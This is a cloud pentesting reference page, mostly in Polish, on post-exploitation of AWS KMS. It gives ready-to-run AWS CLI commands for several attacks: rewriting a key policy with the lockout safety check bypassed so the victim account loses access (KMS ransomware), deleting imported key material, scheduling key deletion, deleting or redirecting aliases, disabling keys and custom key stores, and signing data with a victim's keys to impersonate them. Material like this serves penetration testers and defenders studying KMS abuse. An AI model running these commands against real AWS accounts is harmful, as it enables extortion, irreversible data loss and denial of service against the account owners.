7.9 KiB
AWS - KMS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
KMS
Więcej informacji:
{{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}}
Szyfrowanie/Deszyfrowanie informacji
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Odczytuje plik w trybie binarnym, zwykle używany dla plików niebędących tekstowymi.file://:Odczytuje plik w trybie tekstowym, zwykle używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymogów kodowania.
Tip
Zwróć uwagę, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)
- Użycie klucza symetrycznego
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Użycie asymetrycznego klucza:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany prawowitemu kontu.
Wtedy użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, ale skuteczne ransomware na konto.
Warning
Zauważ, że AWS managed keys aren't affected przez ten atak, tylko Customer managed keys.
Zwróć też uwagę na konieczność użycia parametru
--bypass-policy-lockout-safety-check(brak tej opcji w web console sprawia, że atak jest możliwy jedynie z CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy key with a key material zaimportowany przez atakującego
- Re-encrypt older data ofiary zaszyfrowanych poprzednią wersją, używając nowej
- Delete the KMS key
- W tej sytuacji tylko atakujący, który posiada oryginalny key material, będzie w stanie odszyfrować zaszyfrowane dane
Delete Keys via kms:DeleteImportedKeyMaterial
With the kms:DeleteImportedKeyMaterial permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
aws kms delete-imported-key-material --key-id <Key_ID>
Niszczenie keys
Niszczenie keys umożliwia przeprowadzenie DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Zwróć uwagę, że AWS obecnie uniemożliwia wykonywanie powyższych działań z poziomu cross account:
Zmień lub usuń Alias
Ten atak usuwa lub przekierowuje AWS KMS aliases, zaburzając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach polegających na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak kms:DeleteAlias lub kms:UpdateAlias, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie ponownie zmapowany.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Z uprawnieniami takimi jak kms:CancelKeyDeletion i kms:EnableKey, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. W ten sposób odzyskuje się klucz (początkowo w stanie Disabled) i przywraca jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając eksfiltrację.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
Dzięki uprawnieniu kms:DisableKey atakujący może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do encryption lub decryption. To przerywa dostęp dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
aws kms disable-key \
--key-id <key_id>
Wyprowadzenie współdzielonego sekretu
Z uprawnieniem kms:DeriveSharedSecret, podmiot może użyć KMS-held private key oraz user-supplied public key, aby obliczyć ECDH shared secret.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Podszywanie się przez kms:Sign
Z uprawnieniem kms:Sign aktor może użyć KMS-stored CMK do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, tworząc ważne podpisy, które mogą umożliwić podszywanie się lub autoryzować złośliwe działania.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Z uprawnieniami takimi jak kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore czy kms:UpdateCustomKeyStore, actor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne stają się nieużywalne. To przerywa operacje szyfrowania, deszyfrowania i podpisywania dla usług korzystających z tych kluczy i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

{{#include ../../../../banners/hacktricks-training.md}}